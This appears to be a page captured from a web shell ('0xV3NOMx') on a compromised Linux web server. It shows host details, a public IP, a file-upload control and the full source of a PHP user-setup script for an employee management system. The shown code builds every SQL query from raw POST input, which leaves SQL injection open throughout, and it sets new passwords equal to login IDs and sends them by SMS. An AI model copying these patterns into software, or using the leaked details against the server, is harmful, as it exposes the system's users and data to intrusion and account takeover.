0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.148.105.127


Current Path : /var/www/html/oums/src/
Upload File :
Current File : /var/www/html/oums/src/user_setup.php

<?php
include("sys_session.php");
include("sys_mainphp.php");
include("sys_connect.php");
include("api_sendsms.php");

$resp_mesg = "";
$resp_stat = "";
$resp_file = "";

if ($_POST['load_data'] == 'grid_data') {
    $dept_code = $_POST['dept_code'];
    $empl_stat = $_POST['empl_stat'];
    $user_type = $_POST['user_type'];
    $find_data = $_POST['find_data'];

    require("sys_grid_data.php");
    $i = 1;

    // if ($type_id == 'ADMIN') {
    //     $grid_sele = "";
    //     $grid_sele .= "select masempl.*,masdesn.*,masdept.* from masempl,masdesn,masdept ";
    //     $grid_sele .= "where masempl.fdeptcode like '$dept_code' and femplstat like '$empl_stat'  and fusertype like '$user_type' ";
    //     $grid_sele .= "and (femplname like '%$find_data%' or femplmobl like '%$find_data%') ";
    //     $grid_sele .= "and masempl.fempldesn=masdesn.fempldesn ";
    //     $grid_sele .= "and masempl.fdeptcode=masdept.fdeptcode ";
    //     $grid_sele .= "and ifnull(masempl.fdeleted,'F')<>'T' ";
    //     $grid_sele .= "order by masempl.fdeptcode,fdesnordr,masdesn.fempldesn,fempltype,femplname";
    // } else {
    //     $grid_sele = "";
    //     $grid_sele .= "select masempl.*,masdesn.*,masdept.* from masempl,masdesn,masdept,masdept_user ";
    //     $grid_sele .= "where masempl.fdeptcode like '$dept_code' and femplstat like '$empl_stat' ";
    //     $grid_sele .= "and (femplname like '%$find_data%' or femplmobl like '%$find_data%') ";
    //     $grid_sele .= "and masempl.fempldesn=masdesn.fempldesn ";
    //     $grid_sele .= "and masempl.fdeptcode=masdept.fdeptcode ";
    //     $grid_sele .= "and masdept.fdeptcode=masdept_user.fdeptcode ";
    //     $grid_sele .= "and masempl.fdeptcode=masdept_user.fdeptcode ";
    //     $grid_sele .= "and masdept_user.fusercode='$user_id' and ifnull(masempl.fdeleted,'F')<>'T' ";
    //     $grid_sele .= "order by masempl.fdeptcode,fdesnordr,masdesn.fempldesn,fempltype,femplname";
    // }

    if ($type_id == 'ADMIN') {
        $myqry = " ";
    } elseif ($type_id == 'CHIEF') {
        $myqry = " inner join masdept_user du on em.fdeptcode = du.fdeptcode and du.fusercode = '$user_id' ";
    }

    $grid_sele = "select distinct dp.fdeptcode,dp.fdeptshrt,em.femplcode,em.femplname,em.fempldesn,em.fusercode,em.fusertype,
    date_format(em.fbrthdate,'%d/%m/%Y') as fbrthdate,
    em.femplmobl,em.femplmail,em.femplstat,em.fempltype,em.femplphot
    from masempl em
    inner join masdept dp on em.fdeptcode = dp.fdeptcode 
    " . $myqry . "
    where (em.femplcode like '%$find_data%' or em.femplname like '%$find_data%' or em.femplmobl like '%$find_data%') 
    and em.fdeptcode like '$dept_code' and femplstat like '$empl_stat' and fusertype like '$user_type' and ifnull(em.fdeleted,'F')='F'
    order by em.femplcode";

    $grid_para = grid_limit($grid_sele);
    $page_numb = $grid_para[0];
    $last_page = $grid_para[1];
    $page_limt = $grid_para[2];
    $lowr_limt = $grid_para[3];

    $mysql = $grid_sele . " limit $lowr_limt, $page_limt";
    $myres = mysqli_query($mycon, $mysql);
    $mycnt = mysqli_num_rows($myres);
    if ($mycnt > 0) {
        echo "<table class=''>";
        echo "<thead>";
        echo "<tr>";
        echo "<th width=4%>  # </th>";
        echo "<th width=6%>  Client</th>";
        echo "<th width=5%>  Empl ID </th>";
        echo "<th width=20%> Employee Name</th>";
        echo "<th width=15%> Designation </th>";
        echo "<th width=10%> Mobile No </th>";
        echo "<th width=10%> Login Type </th>";
        echo "<th width=10%> Login ID </th>";
        echo "<th width=10%> Action </th>";
        echo "</tr>";
        echo "</thead>";
        echo "<tbody>";
        while ($myrow = mysqli_fetch_assoc($myres)) {
            if ($myrow['femplphot'] == '') {
                $empl_imge = "img-empl/blank.png";
            } else {
                $url = dirname($_SERVER['PHP_SELF'])."/oums/img-empl/" . $myrow['femplphot'];
                $handle = curl_init($url);
                curl_setopt($handle,  CURLOPT_RETURNTRANSFER, TRUE);
                $response = curl_exec($handle);
                $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE);
                if ($httpCode == 404) {
                    $empl_imge = "img-empl/blank.png";
                } else {
                    $empl_imge = "img-empl/" . $myrow['femplphot'];
                }
                curl_close($handle);
            }

            if ($myrow['fusercode'] == '') {
                $page_link = " <a class='btn btn-primary btn-sm' href=# onClick=edit_data('$myrow[femplcode]')><span class='glyphicon glyphicon-plus'></span> Add</a>";
            }
            if ($myrow['fusercode'] != '') {
                $page_link = " <a class='btn btn-success btn-sm' href=# onClick=edit_data('$myrow[femplcode]')><span class='glyphicon glyphicon-edit'></span> Edit</a>";
            }
            if ($myrow['fusercode'] != '' && $myrow['fblckuser'] != 'T') {
                $page_link .= " <a class='btn btn-danger btn-sm' href=# onClick=blck_user('$myrow[femplcode]')>Disable</a>";
            }
            if ($myrow['fusercode'] != '' && $myrow['fblckuser'] == 'T') {
                $page_link .= " <a class='btn btn-success btn-sm' href=# onClick=open_user('$myrow[femplcode]')>Enable</a>";
            }

            echo "<tr id=$myrow[fdeptcode]>";
            echo "<td align=center>$i</td>";
            echo "<td align='center'> [$myrow[fdeptcode]] $myrow[fdeptshrt]</td>";
            echo "<td align=center>$myrow[femplcode]</td>";
            echo "<td align='left'>  <img src='$empl_imge' height='30px' width='28px' style='border:1px solid #ccc;' align='absmiddle' alt=''> $myrow[femplname]</td>";
            echo "<td align=left>$myrow[fempldesn]</td>";
            echo "<td align=center>$myrow[femplmobl]</td>";
            echo "<td align=center>$myrow[fusertype]</td>";
            echo "<td align=center>$myrow[fusercode]</td>";
            echo "<td align=center>$page_link</td>";
            echo "</tr>";
            $i++;
        }
        echo "</tbody>";
        echo "</table>";
        include("sys_grid_navbar.php");
    } else {
        echo "<div class='alert alert-info'>No details found!</div>";
    }
}

if ($_POST['load_data'] == 'blck_user') {
    $empl_code = $_POST['dele_code'];
    $mysql = "update masempl set fblckuser='T' where femplcode='$empl_code'";
    $myres = mysqli_query($mycon, $mysql);
}

if ($_POST['load_data'] == 'open_user') {
    $empl_code = $_POST['dele_code'];
    $mysql = "update masempl set fblckuser='F' where femplcode='$empl_code'";
    $myres = mysqli_query($mycon, $mysql);
}

if ($_POST['load_data'] == 'disp_data') {
    $empl_code = $_POST['empl_code'];
    $mysql = "select femplcode,femplname,fusercode,fusertype,dp.fdeptcode,dp.fdeptname,fempldesn,
    femplmobl,femplphot,case when fempltype='P' then 'PERMANENT' when fempltype='T' then 'TEMPORARY' else '' end as fempltype 
    from masempl em
    left join masdept dp on em.fdeptcode = dp.fdeptcode 
    where femplcode='$empl_code'";
    $myres = mysqli_query($mycon, $mysql);
    $myrow = array();
    while ($r = mysqli_fetch_assoc($myres)) {
        $myrow = $r;
    }
    echo json_encode($myrow);
}

if ($_POST['load_data'] == 'user_type') {
    if ($type_id == 'ADMIN') {
        $mysql = "select * from sys_user_type order by fuserordr";
    } elseif ($type_id == 'CHIEF') {
        $mysql = "select * from sys_user_type where fuserordr>0 order by fuserordr";
    } elseif ($type_id == 'SUPER') {
        $mysql = "select * from sys_user_type where fuserordr>1 order by fuserordr";
    } else {
        $mysql = "select * from sys_user_type where fuserordr>2 order by fuserordr";
    }
    $myres = mysqli_query($mycon, $mysql);
    if (mysqli_num_rows($myres) > 1) {
        echo "<option value=0>--Select--</option>";
    }
    while ($myrow = mysqli_fetch_assoc($myres)) {
        echo "<option value='$myrow[fusertype]'>$myrow[ftypedesc]</option>";
    }
}

if ($_POST['load_data'] == 'save_data') {
    $dept_code = $_POST['dept_code'];
    $empl_code = $_POST['empl_code'];
    $empl_name = $_POST['empl_name'];
    $empl_mobl = $_POST['empl_mobl'];
    $user_type = $_POST['user_type'];
    $user_code = strtoupper($_POST['user_code']);

    $resp_stat = "";
    $mysql = "select * from masempl where femplcode='$empl_code' and ifnull(fusercode,'')=''";
    $myres = mysqli_query($mycon, $mysql);
    $mycnt = mysqli_num_rows($myres);
    if ($mycnt != 0) {
        $mysql = "select * from masempl where femplcode<>'$empl_code' and fusercode='$user_code'";
        $myres = mysqli_query($mycon, $mysql);
        $mycnt = mysqli_num_rows($myres);
        if ($mycnt != 0) {
            $resp_stat = "";
            $resp_mesg = "User ID already exists!, Please enter different user ID!";
        } else {
            $resp_stat = "T";
            $mysql = "update masempl set fupdtpswd='T',fusercode='$user_code',fusertype='$user_type',fuserpswd='$user_code' where femplcode='$empl_code'";
            $myres = mysqli_query($mycon, $mysql);
            $resp_mesg = "User details created!";

            set_user_logs($dept_id, $user_id, 'USER', 'USER CREATED FOR ' . $empl_code . ' - USER ID : ' . $user_code . ', USER TYPE : ' . $user_type);

            $mess_text = "Dear " . $empl_name . ", OUMS Login details created, Login ID: " . $user_code . ", Password: " . $user_code . ", Updated on: " . date("d/m/Y H:i:s");
            if (strlen($empl_mobl) == 10) {
                send_sms($empl_mobl, $mess_text);
            }
        }
    } else {
        $resp_stat = "T";
        $mysql = "update masempl set fusercode='$user_code',fusertype='$user_type' where femplcode='$empl_code'";
        $myres = mysqli_query($mycon, $mysql);
        $resp_mesg = "User type updated!";
        set_user_logs($dept_id, $user_id, 'USER', 'USER UPDATED FOR ' . $empl_code . ' - USER ID : ' . $user_code . ', USER TYPE : ' . $user_type);
    }

    //UPDATE DEFAULT USER RIGHTS
    $mysql = "delete from sys_user_menu where fusercode='$user_code'";
    $myres = mysqli_query($mycon, $mysql);

    $mysql = "insert ignore into sys_user_menu (fusercode,fmodecode,fmainmenu,fmenucode,flinkstat) 
    select fusercode,fmodecode,fmainmenu,fmenucode,1 as flinkmenu from sys_menu sm
    inner join masempl em on sm.fmenuuser like concat('%',em.fusertype,'%') and ifnull(em.fusercode,'')='$user_code' 
    where ifnull(sm.fmenuuser,'')<>''";
    $myres = mysqli_query($mycon, $mysql);

    $mysql = "insert ignore into masdept_user (fusercode,fdeptcode,fselestat,fupdttime) values ('$user_code','$dept_code','1',now())";
    $myres = mysqli_query($mycon, $mysql);

    echo json_encode(array("mesg" => $resp_mesg, "stat" => $resp_stat, "file" => $resp_file));
}